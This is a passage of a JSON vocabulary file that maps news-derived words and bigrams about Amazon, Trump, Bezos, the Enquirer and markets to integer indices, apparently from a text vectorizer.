1658,\n  \"short positions\": 1659,\n  \"shoelace\": 1660,\n  \"watergate era\": 1661,\n  \"2016 mccain\": 1662,\n  \"publish texts\": 1663,\n  \"acknowledged receives\": 1664,\n  \"hoverboard remember\": 1665,\n  \"text trump\": 1666,\n  \"tribunal nullifies\": 1667,\n  \"truck trailers\": 1668,\n  \"snap shares\": 1669,\n  \"sessions steps\": 1670,\n  \"multiple levels\": 1671,\n  \"foundations\": 1672,\n  \"political sentiment\": 1673,\n  \"pushed hard\": 1674,\n  \"whining\": 1675,\n  \"yorker ian\": 1676,\n  \"glen ellyn\": 1677,\n  \"angerer despite\": 1678,\n  \"middle tennessee\": 1679,\n  \"president calls\": 1680,\n  \"tech summit\": 1681,\n  \"2018 saw\": 1682,\n  \"music greene\": 1683,\n  \"knifed\": 1684,\n  \"political rivals\": 1685,\n  \"search shone\": 1686,\n  \"businesses viewers\": 1687,\n  \"abdullah dina\": 1688,\n  \"receive overtime\": 1689,\n  \"york resident\": 1690,\n  \"political polarization\": 1691,\n  \"counseling medication\": 1692,\n  \"criticized recently\": 1693,\n  \"digital promoting\": 1694,\n  \"mayor ske\": 1695,\n  \"quotes\": 1696,\n  \"canadian aluminum\": 1697,\n  \"existsobject\": 1698,\n  \"shiite\": 1699,\n  \"photo new\": 1700,\n  \"washington premier\": 1701,\n  \"providers need\": 1702,\n  \"karen neal\": 1703,\n  \"number jobs\": 1704,\n  \"buffet\": 1705,\n  \"company lack\": 1706,\n  \"jace\": 1707,\n  \"amphibious scooper\": 1708,\n  \"additional sites\": 1709,\n  \"e0 var\": 1710,\n  \"success taking\": 1711,\n  \"crept\": 1712,\n  \"dis\": 1713,\n  \"historical tale\": 1714,\n  \"goodin\": 1715,\n  \"networking giant\": 1716,\n  \"ceo having\": 1717,\n  \"known commerce\": 1718,\n  \"spread\": 1719,\n  \"staff unfounded\": 1720,\n  \"originally intended\": 1721,\n  \"address questions\": 1722,\n  \"manufacturers nam\": 1723,\n  \"sacramento according\": 1724,\n  \"nearly equal\": 1725,\n  \"broader data\": 1726,\n  \"gamers\": 1727,\n  \"yeltsin trump\": 1728,\n  \"encourage residents\": 1729,\n  \"leadership contest\": 1730,\n  \"daily shouts\": 1731,\n  \"reportedly paid\": 1732,\n  \"dispute looms\": 1733,\n  \"decreasing\": 1734,\n  \"washington black\": 1735,\n  \"twitter asoga\": 1736,\n  \"mnuchin tweeted\": 1737,\n  \"aircraft\": 1738,\n  \"abruptly ended\": 1739,\n  \"griffeth treasury\": 1740,\n  \"pressuring\": 1741,\n  \"passive aggressively\": 1742,\n  \"submitting lawsuits\": 1743,\n  \"better communications\": 1744,\n  \"night published\": 1745,\n  \"skater slashed\": 1746,\n  \"aldi operates\": 1747,\n  \"far fetched\": 1748,\n  \"development commissioner\": 1749,\n  \"trump oft\": 1750,\n  \"erecting voting\": 1751,\n  \"wishlist\": 1752,\n  \"gibson read\": 1753,\n  \"masterclass dominique\": 1754,\n  \"crisis consultant\": 1755,\n  \"bret easton\": 1756,\n  \"identified\": 1757,\n  \"seeing movies\": 1758,\n  \"avoid slipping\": 1759,\n  \"oklahoma middle\": 1760,\n  \"maxine waters\": 1761,\n  \"roberts reuters\": 1762,\n  \"crisis trump\": 1763,\n  \"investors fear\": 1764,\n  \"credit families\": 1765,\n  \"africa\": 1766,\n  \"sisnama\": 1767,\n  \"york nasdaq\": 1768,\n  \"businesses offshore\": 1769,\n  \"make delivery\": 1770,\n  \"world month\": 1771,\n  \"bezos biggest\": 1772,\n  \"uploads 2018\": 1773,\n  \"damaging articles\": 1774,\n  \"anticipate potentially\": 1775,\n  \"regualar\": 1776,\n  \"showing qanon\": 1777,\n  \"tax incentives\": 1778,\n  \"listed near\": 1779,\n  \"process giving\": 1780,\n  \"water attorney\": 1781,\n  \"year bernie\": 1782,\n  \"service head\": 1783,\n  \"business board\": 1784,\n  \"company net\": 1785,\n  \"home kits\": 1786,\n  \"treadmill set\": 1787,\n  \"increased just\": 1788,\n  \"plan addresses\": 1789,\n  \"billerica diner\": 1790,\n  \"pubg gamedev\": 1791,\n  \"tim kaine\": 1792,\n  \"new mexico\": 1793,\n  \"win trade\": 1794,\n  \"var u8\": 1795,\n  \"trump fragrances\": 1796,\n  \"blackmail adds\": 1797,\n  \"ai nvidia\": 1798,\n  \"analyst added\": 1799,\n  \"overlapping conspiracy\": 1800,\n  \"crowley amazon\": 1801,\n  \"await lame\": 1802,\n  \"letters steadily\": 1803,\n  \"good boys\": 1804,\n  \"young harris\": 1805,\n  \"pays pretty\": 1806,\n  \"firm qualtrics\": 1807,\n  \"privacy cookies\": 1808,\n  \"times washington\": 1809,\n  \"recommendation today\": 1810,\n  \"noodles\": 1811,\n  \"officially recruiting\": 1812,\n  \"house tweet\": 1813,\n  \"buster\": 1814,\n  \"big pharmacy\": 1815,\n  \"right growth\": 1816,\n  \"veritable cash\": 1817,\n  \"facebook faced\": 1818,\n  \"sneaky dianne\": 1819,\n  \"magic atsocialmedia\": 1820,\n  \"stash body\": 1821,\n  \"area population\": 1822,\n  \"constantine\": 1823,\n  \"enquirer promised\": 1824,\n  \"extension based\": 1825,\n  \"cultures employees\": 1826,\n  \"tuba\": 1827,\n  \"magazine alleged\": 1828,\n  \"instant\": 1829,\n  \"voters remarking\": 1830,\n  \"environments combat\": 1831,\n  \"area infrastructure\": 1832,\n  \"100 increase\": 1833,\n  \"mueller recently\": 1834,\n  \"investment advsr\": 1835,\n  \"overblown\": 1836,\n  \"party shared\": 1837,\n  \"desks\": 1838,\n  \"pharmacy market\": 1839,\n  \"enjoyment\": 1840,\n  \"publishing korean\": 1841,\n  \"gros\": 1842,\n  \"violent demonstrations\": 1843,\n  \"started showing\": 1844,\n  \"conservatives describing\": 1845,\n  \"embrace\": 1846,\n  \"saturated\": 1847,\n  \"cristina\": 1848,\n  \"service problems\": 1849,\n  \"gw seattle\": 1850,\n  \"hbo solo\": 1851,\n  \"emergency assistance\": 1852,\n  \"promote hateful\": 1853,\n  \"ceo raj\": 1854,\n  \"0854et\": 1855,\n  \"ami ronan\": 1856,\n  \"billion famed\": 1857,\n  \"extract\": 1858,\n  \"release amazon\": 1859,\n  \"playbook follow\": 1860,\n  \"usual messaging\": 1861,\n  \"sell directly\": 1862,\n  \"russian disinformation\": 1863,\n  \"shakespeare plays\": 1864,\n  \"express frustration\": 1865,\n  \"create 000\": 1866,\n  \"steadily declines\": 1867,\n  \"hbr\": 1868,\n  \"protest russia\": 1869,\n  \"episodic\": 1870,\n  \"supported mass\": 1871,\n  \"tops\": 1872,\n  \"quilombola\": 1873,\n  \"corporate names\": 1874,\n  \"tactics employed\": 1875,\n  \"fang stocks\": 1876,\n  \"sam menefee\": 1877,\n  \"rohit chopra\": 1878,\n  \"chose\": 1879,\n  \"fox\": 1880,\n  \"chemicals contaminating\": 1881,\n  \"crime extortion\": 1882,\n  \"capitalist progressive\": 1883,\n  \"user weighed\": 1884,\n  \"exemption\": 1885,\n  \"just gonna\": 1886,\n  \"main thematic\": 1887,\n  \"cassidy la\": 1888,\n  \"yen\": 1889,\n  \"awaiting federal\": 1890,\n  \"miranda director\": 1891,\n  \"commentary little\": 1892,\n  \"won score\": 1893,\n  \"wwii spy\": 1894,\n  \"companies deny\": 1895,\n  \"essentially soliciting\": 1896,\n  \"achatz nick\": 1897,\n  \"wade\": 1898,\n  \"ruling big\": 1899,\n  \"arrive quickly\": 1900,\n  \"wired tales\": 1901,\n  \"rooms read\": 1902,\n  \"things happen\": 1903,\n  \"tv boxes\": 1904,\n  \"glover\": 1905,\n  \"wall clock\": 1906,\n  \"commerce recommendation\": 1907,\n  \"unemployment insurance\": 1908,\n  \"new energy\": 1909,\n  \"afternoon president\": 1910,\n  \"intermittent fasting\": 1911,\n  \"crumbling society\": 1912,\n  \"street great\": 1913,\n  \"kim supply\": 1914,\n  \"circles\": 1915,\n  \"final act\": 1916,\n  \"cohen properties\": 1917,\n  \"prime da\": 1918,\n  \"adventures\": 1919,\n  \"cross french\": 1920,\n  \"netflix docuseries\": 1921,\n  \"shantytowns\": 1922,\n  \"headlines\": 1923,\n  \"neocolonial\": 1924,\n  \"using match\": 1925,\n  \"unveiled proposal\": 1926,\n  \"steve\": 1927,\n  \"deeply held\": 1928,\n  \"lambasts trump\": 1929,\n  \"holiday\": 1930,\n  \"path usps\": 1931,\n  \"swift exchange\": 1932,\n  \"unrealistic\": 1933,\n  \"shower\": 1934,\n  \"fined prom\": 1935,\n  \"omar genoa\": 1936,\n  \"soundtrack\": 1937,\n  \"office interesting\": 1938,\n  \"progeny clearer\": 1939,\n  \"tell supporters\": 1940,\n  \"political dirty\": 1941,\n  \"uses rekognition\": 1942,\n  \"ottawa ontario\": 1943,\n  \"giant recently\": 1944,\n  \"political repercussions\": 1945,\n  \"conflation\": 1946,\n  \"annual intellectual\": 1947,\n  \"bakersfield\": 1948,\n  \"nov ap\": 1949,\n  \"shopping platforms\": 1950,\n  \"typically sees\": 1951,\n  \"spender\": 1952,\n  \"using story\": 1953,\n  \"featured videos\": 1954,\n  \"margin commerce\": 1955,\n  \"giant pointed\": 1956,\n  \"covert insurgency\": 1957,\n  \"weed tirement\": 1958,\n  \"sports rights\": 1959,\n  \"centers walmart\": 1960,\n  \"mckay\": 1961,\n  \"homeowners\": 1962,\n  \"citi estimates\": 1963,\n  \"shows progress\": 1964,\n  \"establish identity\": 1965,\n  \"mastercard\": 1966,\n  \"addition aldi\": 1967,\n  \"munduruku young\": 1968,\n  \"changes doyle\": 1969,\n  \"mckay cnr\": 1970,\n  \"enquirer focus\": 1971,\n  \"chloe decker\": 1972,\n  \"allowing unmanned\": 1973,\n  \"stories plaguing\": 1974,\n  \"trillion just\": 1975,\n  \"money complying\": 1976,\n  \"spend increases\": 1977,\n  \"king president\": 1978,\n  \"protect europe\": 1979,\n  \"mega companies\": 1980,\n  \"toxic\": 1981,\n  \"textron mentioned\": 1982,\n  \"sheldon adelson\": 1983,\n  \"twitter tantrums\": 1984,\n  \"collective dream\": 1985,\n  \"practices\": 1986,\n  \"posts\": 1987,\n  \"chasing facebook\": 1988,\n  \"takeaways ivanka\": 1989,\n  \"crown\": 1990,\n  \"company wide\": 1991,\n  \"interactions allowed\": 1992,\n  \"activate\": 1993,\n  \"inner workings\": 1994,\n  \"hearing transparency\": 1995,\n  \"giants extend\": 1996,\n  \"130k new\": 1997,\n  \"employees revived\": 1998,\n  \"khan hire\": 1999,\n  \"highest esteem\": 2000,\n  \"sales comments\": 2001,\n  \"amazon marketplace\": 2002,\n  \"expel\": 2003,\n  \"double revenue\": 2004,\n  \"involuntary manslaughter\": 2005,\n  \"prominent trump\": 2006,\n  \"figures caught\": 2007,\n  \"tweet alerting\": 2008,\n  \"protesting amazon\": 2009,\n  \"founded group\": 2010,\n  \"downside penney\": 2011,\n  \"steering group\": 2012,\n  \"ace franchisees\": 2013,\n  \"capture lot\": 2014,\n  \"day amazon\": 2015,\n  \"conservative backlash\": 2016,\n  \"amazon fancy\": 2017,\n  \"released barron\": 2018,\n  \"hill spoke\": 2019,\n  \"australian treasurer\": 2020,\n  \"daily jealous\": 2021,\n  \"change\": 2022,\n  \"campaign stems\": 2023,\n  \"bannon called\": 2024,\n  \"company association\": 2025,\n  \"campaign engaged\": 2026,\n  \"accrue\": 2027,\n  \"minutes left\": 2028,\n  \"quiet releasing\": 2029,\n  \"million customers\": 2030,\n  \"doesn strike\": 2031,\n  \"wacky drama\": 2032,\n  \"post responds\": 2033,\n  \"company orders\": 2034,\n  \"oil sales\": 2035,\n  \"spotify 2018\": 2036,\n  \"president interviewed\": 2037,\n  \"instead framing\": 2038,\n  \"city won\": 2039,\n  \"antitrust jeffersonians\": 2040,\n  \"matthew gertz\": 2041,\n  \"policy interests\": 2042,\n  \"usps takes\": 2043,\n  \"changed meanings\": 2044,\n  \"insiders\": 2045,\n  \"broadcast national\": 2046,\n  \"tabloid report\": 2047,\n  \"\\u02c8ri\": 2048,\n  \"competitive offers\": 2049,\n  \"josh\": 2050,\n  \"letter explaining\": 2051,\n  \"contraception mandate\": 2052,\n  \"answer tags\": 2053,\n  \"computing backup\": 2054,\n  \"credibilityquestions\": 2055,\n  \"fame sister\": 2056,\n  \"lifelong obsession\": 2057,\n  \"pioneer\": 2058,\n  \"lanthimos\": 2059,\n  \"usual story\": 2060,\n  \"offs\": 2061,\n  \"jobs adverse\": 2062,\n  \"hijackers amazon\": 2063,\n  \"included allegations\": 2064,\n  \"function a4ee\": 2065,\n  \"issues ignoring\": 2066,\n  \"dry cleaning\": 2067,\n  \"500 veterans\": 2068,\n  \"esque nightmare\": 2069,\n  \"reforming\": 2070,\n  \"brightest\": 2071,\n  \"merchandise directly\": 2072,\n  \"lidia karine\": 2073,\n  \"conservative titles\": 2074,\n  \"integral role\": 2075,\n  \"117\": 2076,\n  \"losing companies\": 2077,\n  \"enquirer revelation\": 2078,\n  \"28257\": 2079,\n  \"power rangers\": 2080,\n  \"flooding forests\": 2081,\n  \"laurel mack\": 2082,\n  \"union divorce\": 2083,\n  \"protesting jobs\": 2084,\n  \"midtown manhattan\": 2085,\n  \"compression socks\": 2086,\n  \"hindsight donald\": 2087,\n  \"affiliated websites\": 2088,\n  \"berkeley\": 2089,\n  \"castillo reported\": 2090,\n  \"imply daily\": 2091,\n  \"extremely close\": 2092,\n  \"president directly\": 2093,\n  \"legalistic time\": 2094,\n  \"new shipping\": 2095,\n  \"openings\": 2096,\n  \"kana dorothy\": 2097,\n  \"font size\": 2098,\n  \"stress racine\": 2099,\n  \"higher early\": 2100,\n  \"fringe left\": 2101,\n  \"certainly hope\": 2102,\n  \"considered tiffany\": 2103,\n  \"benefits carlson\": 2104,\n  \"run rubenstein\": 2105,\n  \"1993 today\": 2106,\n  \"privacy labour\": 2107,\n  \"followers\": 2108,\n  \"ultimate insider\": 2109,\n  \"commuters\": 2110,\n  \"sexual stories\": 2111,\n  \"usps revealed\": 2112,\n  \"discredit special\": 2113,\n  \"time governor\": 2114,\n  \"bezos situation\": 2115,\n  \"organization day\": 2116,\n  \"mojo going\": 2117,\n  \"bedeviled presidents\": 2118,\n  \"virtual takeover\": 2119,\n  \"suggested price\": 2120,\n  \"gretchen\": 2121,\n  \"violations lawmakers\": 2122,\n  \"americans having\": 2123,\n  \"brodsky\": 2124,\n  \"american perspective\": 2125,\n  \"whatsapp billion\": 2126,\n  \"officials quickly\": 2127,\n  \"labyrinth\": 2128,\n  \"ago funded\": 2129,\n  \"rock school\": 2130,\n  \"just say\": 2131,\n  \"feel bad\": 2132,\n  \"brand loyalty\": 2133,\n  \"erdogan decide\": 2134,\n  \"tutorials\": 2135,\n  \"cloud giant\": 2136,\n  \"invaded anytime\": 2137,\n  \"hendel jhendel\": 2138,\n  \"don waste\": 2139,\n  \"dwarfing apple\": 2140,\n  \"thunderstorms\": 2141,\n  \"soy threats\": 2142,\n  \"sanders ruffled\": 2143,\n  \"fuel earnings\": 2144,\n  \"perfect chance\": 2145,\n  \"massive purchases\": 2146,\n  \"ap president\": 2147,\n  \"8217 adopt\": 2148,\n  \"judge brett\": 2149,\n  \"guarantee representation\": 2150,\n  \"fighting big\": 2151,\n  \"new hotel\": 2152,\n  \"xr\": 2153,\n  \"alike amazon\": 2154,\n  \"media captionwas\": 2155,\n  \"turn aggressively\": 2156,\n  \"offload containers\": 2157,\n  \"refrigeration facilities\": 2158,\n  \"conservative free\": 2159,\n  \"overreach\": 2160,\n  \"quarter financial\": 2161,\n  \"divergence\": 2162,\n  \"schedule certain\": 2163,\n  \"follows married\": 2164,\n  \"really important\": 2165,\n  \"sister campus\": 2166,\n  \"placid\": 2167,\n  \"triggers alexandria\": 2168,\n  \"post doesn\": 2169,\n  \"federal workers\": 2170,\n  \"mark fired\": 2171,\n  \"downward trend\": 2172,\n  \"starting sept\": 2173,\n  \"straight day\": 2174,\n  \"1967 film\": 2175,\n  \"beer drinks\": 2176,\n  \"dissing\": 2177,\n  \"withdrawal agreement\": 2178,\n  \"free aws\": 2179,\n  \"month period\": 2180,\n  \"pfizer\": 2181,\n  \"500 extraordinary\": 2182,\n  \"retailer kohl\": 2183,\n  \"month campaign\": 2184,\n  \"getty walmart\": 2185,\n  \"launches winner\": 2186,\n  \"organizations demanded\": 2187,\n  \"border agents\": 2188,\n  \"step pen\": 2189,\n  \"personnel liz\": 2190,\n  \"upheaval\": 2191,\n  \"eventually finding\": 2192,\n  \"die eurotrip\": 2193,\n  \"swath\": 2194,\n  \"itsheadquarters\": 2195,\n  \"routinely avoid\": 2196,\n  \"food industry\": 2197,\n  \"podesta juleanna\": 2198,\n  \"deal big\": 2199,\n  \"police benevolent\": 2200,\n  \"does deemed\": 2201,\n  \"vmware\": 2202,\n  \"deeply immoral\": 2203,\n  \"bubble\": 2204,\n  \"nsu taking\": 2205,\n  \"immigrants tightened\": 2206,\n  \"u9 m2x\": 2207,\n  \"trump designs\": 2208,\n  \"voters adopted\": 2209,\n  \"time big\": 2210,\n  \"certain circles\": 2211,\n  \"conspicuously absent\": 2212,\n  \"refineries\": 2213,\n  \"state democrats\": 2214,\n  \"modest looked\": 2215,\n  \"antony davies\": 2216,\n  \"chinese growth\": 2217,\n  \"verge 2018\": 2218,\n  \"material affect\": 2219,\n  \"married new\": 2220,\n  \"including film\": 2221,\n  \"mda marshall\": 2222,\n  \"recent days\": 2223,\n  \"orville hotstar\": 2224,\n  \"dagger played\": 2225,\n  \"ventures admitted\": 2226,\n  \"compile\": 2227,\n  \"favorably versus\": 2228,\n  \"ryan ruth\": 2229,\n  \"smalltown usa\": 2230,\n  \"nyse yelp\": 2231,\n  \"exchange trump\": 2232,\n  \"man slavered\": 2233,\n  \"awards jeff\": 2234,\n  \"entertainment game\": 2235,\n  \"exchange commission\": 2236,\n  \"reportedly meant\": 2237,\n  \"biden used\": 2238,\n  \"includes columbia\": 2239,\n  \"related scandals\": 2240,\n  \"lake ended\": 2241,\n  \"smart blogging\": 2242,\n  \"melding\": 2243,\n  \"addabbo\": 2244,\n  \"clearly moved\": 2245,\n  \"service google\": 2246,\n  \"senator dick\": 2247,\n  \"tackle challenges\": 2248,\n  \"charge families\": 2249,\n  \"photo kth\": 2250,\n  \"cah news\": 2251,\n  \"190 830\": 2252,\n  \"511\": 2253,\n  \"contentservices htlive\": 2254,\n  \"turnout\": 2255,\n  \"catastrophic collapse\": 2256,\n  \"decision impose\": 2257,\n  \"issues especially\": 2258,\n  \"hyperlocal news\": 2259,\n  \"numbers\": 2260,\n  \"bizarre wait\": 2261,\n  \"punishing\": 2262,\n  \"photos kosovo\": 2263,\n  \"site struggles\": 2264,\n  \"campaign bolsonaro\": 2265,\n  \"reset entirely\": 2266,\n  \"published detailed\": 2267,\n  \"embassies security\": 2268,\n  \"hastening\": 2269,\n  \"scottish premiership\": 2270,\n  \"states indians\": 2271,\n  \"sundance film\": 2272,\n  \"intense flood\": 2273,\n  \"quote allows\": 2274,\n  \"did decline\": 2275,\n  \"inside information\": 2276,\n  \"primary season\": 2277,\n  \"missile activity\": 2278,\n  \"opening combination\": 2279,\n  \"w5 u2x\": 2280,\n  \"blue toyota\": 2281,\n  \"respects bezos\": 2282,\n  \"ulta kohl\": 2283,\n  \"hillside\": 2284,\n  \"2013 began\": 2285,\n  \"population expands\": 2286,\n  \"house yesterday\": 2287,\n  \"positive sebastian\": 2288,\n  \"minutes\": 2289,\n  \"shelves slippery\": 2290,\n  \"looks59\": 2291,\n  \"aa z4\": 2292,\n  \"recognition dinner\": 2293,\n  \"producers regulators\": 2294,\n  \"personal gripe\": 2295,\n  \"suspicious package\": 2296,\n  \"300 governmental\": 2297,\n  \"acquisition amazon\": 2298,\n  \"equities sales\": 2299,\n  \"acknowledging\": 2300,\n  \"tussauds wax\": 2301,\n  \"buddies\": 2302,\n  \"time bonus\": 2303,\n  \"postal owners\": 2304,\n  \"mother decided\": 2305,\n  \"schiff described\": 2306,\n  \"elephant\": 2307,\n  \"mike nichol\": 2308,\n  \"consent similar\": 2309,\n  \"spreading movement\": 2310,\n  \"amassed growing\": 2311,\n  \"news slur\": 2312,\n  \"important coverage\": 2313,\n  \"blog mentioned\": 2314,\n  \"investors insight\": 2315,\n  \"computer scientists\": 2316,\n  \"galactic milestones\": 2317,\n  \"cap microsoft\": 2318,\n  \"period followed\": 2319,\n  \"rugeley near\": 2320,\n  \"schiff comments\": 2321,\n  \"night network\": 2322,\n  \"redress\": 2323,\n  \"paper editorial\": 2324,\n  \"attracted widespread\": 2325,\n  \"twitter read\": 2326,\n  \"evening mocking\": 2327,\n  \"2017 hurt\": 2328,\n  \"market bets\": 2329,\n  \"news original\": 2330,\n  \"archibald\": 2331,\n  \"workers seeking\": 2332,\n  \"lawmakers demands\": 2333,\n  \"2121\": 2334,\n  \"today super\": 2335,\n  \"anybody noticing\": 2336,\n  \"constantinides proud\": 2337,\n  \"overseeing icann\": 2338,\n  \"409\": 2339,\n  \"sales 2018\": 2340,\n  \"rigged trump\": 2341,\n  \"oxnard\": 2342,\n  \"better future\": 2343,\n  \"reports citi\": 2344,\n  \"workers died\": 2345,\n  \"climate fund\": 2346,\n  \"university\": 2347,\n  \"things exploiting\": 2348,\n  \"office parcel\": 2349,\n  \"michiel\": 2350,\n  \"biggest 2020\": 2351,\n  \"gonna cost\": 2352,\n  \"valsartan\": 2353,\n  \"spits\": 2354,\n  \"risk reward\": 2355,\n  \"frisk tactic\": 2356,\n  \"amazon 3_5\": 2357,\n  \"revoked\": 2358,\n  \"dead man\": 2359,\n  \"cop\": 2360,\n  \"level wage\": 2361,\n  \"training materials\": 2362,\n  \"specific hot\": 2363,\n  \"chinese box\": 2364,\n  \"banishing\": 2365,\n  \"price hit\": 2366,\n  \"376\": 2367,\n  \"little scrutiny\": 2368,\n  \"boaz weintraub\": 2369,\n  \"2018 gdp\": 2370,\n  \"hiring trump\": 2371,\n  \"telling stood\": 2372,\n  \"mistaken\": 2373,\n  \"amazon perfect\": 2374,\n  \"pawlenty loses\": 2375,\n  \"partnership bolsonaro\": 2376,\n  \"closing deal\": 2377,\n  \"lynn sweet\": 2378,\n  \"padres\": 2379,\n  \"false verification\": 2380,\n  \"cisco\": 2381,\n  \"book written\": 2382,\n  \"chinese hackers\": 2383,\n  \"crazy horse\": 2384,\n  \"questions thrown\": 2385,\n  \"intimidates\": 2386,\n  \"nominates\": 2387,\n  \"reelection amazon\": 2388,\n  \"demand avod\": 2389,\n  \"biggest tech\": 2390,\n  \"bargaining chips\": 2391,\n  \"newspaper illegally\": 2392,\n  \"secdef\": 2393,\n  \"homepage clicksource\": 2394,\n  \"amazon quietly\": 2395,\n  \"business information\": 2396,\n  \"entire kingdoms\": 2397,\n  \"entrepreneur\": 2398,\n  \"amazon raise\": 2399,\n  \"totally dressed\": 2400,\n  \"democrat echo\": 2401,\n  \"gutsy\": 2402,\n  \"refuted trump\": 2403,\n  \"baffler\": 2404,\n  \"icymi jeff\": 2405,\n  \"maria struck\": 2406,\n  \"wage workers\": 2407,\n  \"centralized banks\": 2408,\n  \"500 ceos\": 2409,\n  \"bourne sic\": 2410,\n  \"gloves master\": 2411,\n  \"destinations\": 2412,\n  \"challenge fedex\": 2413,\n  \"based service\": 2414,\n  \"script bhagavad\": 2415,\n  \"major petrochemical\": 2416,\n  \"understatement kovach\": 2417,\n  \"sex trafficking\": 2418,\n  \"slate future\": 2419,\n  \"wire primary\": 2420,\n  \"amazon corporation\": 2421,\n  \"mnuchin consent\": 2422,\n  \"wonkette\": 2423,\n  \"tiltsinclair\": 2424,\n  \"becker longtime\": 2425,\n  \"senator reform\": 2426,\n  \"letter tracing\": 2427,\n  \"campaign key\": 2428,\n  \"prove strong\": 2429,\n  \"creating political\": 2430,\n  \"trump provokes\": 2431,\n  \"replace hide\": 2432,\n  \"ploy\": 2433,\n  \"christian dogma\": 2434,\n  \"disaster relief\": 2435,\n  \"linguistic culture\": 2436,\n  \"near snoqualmie\": 2437,\n  \"movie producer\": 2438,\n  \"prestige comic\": 2439,\n  \"susan littlefield\": 2440,\n  \"largest home\": 2441,\n  \"capitol\": 2442,\n  \"enmity stems\": 2443,\n  \"built residential\": 2444,\n  \"reached vice\": 2445,\n  \"compatible\": 2446,\n  \"trump questions\": 2447,\n  \"congress new\": 2448,\n  \"kiki\": 2449,\n  \"sexist slurs\": 2450,\n  \"sen michael\": 2451,\n  \"megacap companies\": 2452,\n  \"published emails\": 2453,\n  \"amazon relationship\": 2454,\n  \"amazon existing\": 2455,\n  \"actively investigating\": 2456,\n  \"advsrs llc\": 2457,\n  \"conscience telling\": 2458,\n  \"revival plan\": 2459,\n  \"pd read\": 2460,\n  \"strong data\": 2461,\n  \"new conservative\": 2462,\n  \"lower level\": 2463,\n  \"demand neighborhood\": 2464,\n  \"abrams\": 2465,\n  \"black women\": 2466,\n  \"austin pamies\": 2467,\n  \"tremendous momentum\": 2468,\n  \"congresspersons\": 2469,\n  \"subcomandante dj\": 2470,\n  \"shopping phenomenon\": 2471,\n  \"talent agent\": 2472,\n  \"democracy trump\": 2473,\n  \"making false\": 2474,\n  \"painted dire\": 2475,\n  \"workforces\": 2476,\n  \"armored\": 2477,\n  \"reader propublica\": 2478,\n  \"rate outside\": 2479,\n  \"guardian global\": 2480,\n  \"closest ally\": 2481,\n  \"blasio announced\": 2482,\n  \"hughes supporter\": 2483,\n  \"cdc openly\": 2484,\n  \"company forecasts\": 2485,\n  \"castlevania doesn\": 2486,\n  \"policy challenges\": 2487,\n  \"replaces singer\": 2488,\n  \"seat board\": 2489,\n  \"join secretive\": 2490,\n  \"friends posts\": 2491,\n  \"spite\": 2492,\n  \"trump disputed\": 2493,\n  \"stamps needed\": 2494,\n  \"ftse 100\": 2495,\n  \"attenuated\": 2496,\n  \"saudi expects\": 2497,\n  \"amazon costing\": 2498,\n  \"american pastor\": 2499,\n  \"institutional investor\": 2500,\n  \"puzzles\": 2501,\n  \"weird hotel\": 2502,\n  \"sanchez affair\": 2503,\n  \"appears regularly\": 2504,\n  \"going clear\": 2505,\n  \"samsung ranked\": 2506,\n  \"government surveillance\": 2507,\n  \"carrefour buys\": 2508,\n  \"shipping deals\": 2509,\n  \"wages cnbc\": 2510,\n  \"conspiracy salesman\": 2511,\n  \"log\": 2512,\n  \"cnn business\": 2513,\n  \"news primetime\": 2514,\n  \"elderly finally\": 2515,\n  \"seiu property\": 2516,\n  \"masculinity\": 2517,\n  \"administration decided\": 2518,\n  \"google falsified\": 2519,\n  \"obtainable\": 2520,\n  \"410 words\": 2521,\n  \"hilton\": 2522,\n  \"left multiple\": 2523,\n  \"media huffing\": 2524,\n  \"league matches\": 2525,\n  \"similar stop\": 2526,\n  \"customers read\": 2527,\n  \"donated money\": 2528,\n  \"earn turns\": 2529,\n  \"threat nbc\": 2530,\n  \"best indicators\": 2531,\n  \"market rebound\": 2532,\n  \"air corporate\": 2533,\n  \"general coordinating\": 2534,\n  \"bizarre comments\": 2535,\n  \"complies\": 2536,\n  \"global equities\": 2537,\n  \"immunity\": 2538,\n  \"bestselling\": 2539,\n  \"4160 mv\": 2540,\n  \"timeline\": 2541,\n  \"bills bbc\": 2542,\n  \"participants reported\": 2543,\n  \"articlepage infinitearticlecollection\": 2544,\n  \"company backed\": 2545,\n  \"dmcc\": 2546,\n  \"post calls\": 2547,\n  \"machines photo\": 2548,\n  \"teams vying\": 2549,\n  \"saw bunch\": 2550,\n  \"respectively looking\": 2551,\n  \"changing global\": 2552,\n  \"echo smart\": 2553,\n  \"lepore\": 2554,\n  \"disruption degrading\": 2555,\n  \"post reporting\": 2556,\n  \"digital tour\": 2557,\n  \"making postal\": 2558,\n  \"contact editorial\": 2559,\n  \"amazon explained\": 2560,\n  \"stage\": 2561,\n  \"jeffries sees\": 2562,\n  \"trv\": 2563,\n  \"chinese owned\": 2564,\n  \"industry dominance\": 2565,\n  \"businesses supply\": 2566,\n  \"fault make\": 2567,\n  \"public outrage\": 2568,\n  \"president council\": 2569,\n  \"frosty\": 2570,\n  \"stock shelves\": 2571,\n  \"journal trump\": 2572,\n  \"cap techs\": 2573,\n  \"source real\": 2574,\n  \"trump commercial\": 2575,\n  \"handbags\": 2576,\n  \"enquirer arrangement\": 2577,\n  \"risk allowing\": 2578,\n  \"lordish\": 2579,\n  \"afghan peace\": 2580,\n  \"growing scandals\": 2581,\n  \"minister says\": 2582,\n  \"international development\": 2583,\n  \"scathing response\": 2584,\n  \"adzone\": 2585,\n  \"deal organized\": 2586,\n  \"trample\": 2587,\n  \"hide callbackobj\": 2588,\n  \"citrin\": 2589,\n  \"2018 cliff\": 2590,\n  \"politically liberal\": 2591,\n  \"hat just\": 2592,\n  \"2224\": 2593,\n  \"squad\": 2594,\n  \"naive negotiating\": 2595,\n  \"sanchez away\": 2596,\n  \"powell midday\": 2597,\n  \"amazon startup\": 2598,\n  \"america universities\": 2599,\n  \"faced criticism\": 2600,\n  \"counterfeit pirated\": 2601,\n  \"shull\": 2602,\n  \"mejia story\": 2603,\n  \"publicity fueling\": 2604,\n  \"nasdaq rose\": 2605,\n  \"possible anticompetitive\": 2606,\n  \"quickly reciprocated\": 2607,\n  \"flat aerodynamic\": 2608,\n  \"hosted\": 2609,\n  \"season meaning\": 2610,\n  \"midterms expert\": 2611,\n  \"server719403 articleid\": 2612,\n  \"fall apart\": 2613,\n  \"market rally\": 2614,\n  \"ways california\": 2615,\n  \"writes michael\": 2616,\n  \"second amendment\": 2617,\n  \"citizens united\": 2618,\n  \"rukh\": 2619,\n  \"cloud revenues\": 2620,\n  \"sure circles\": 2621,\n  \"footnoted\": 2622,\n  \"whipsaw\": 2623,\n  \"small sum\": 2624,\n  \"offset financial\": 2625,\n  \"fiscal bureau\": 2626,\n  \"democracy ocasio\": 2627,\n  \"2019 heart\": 2628,\n 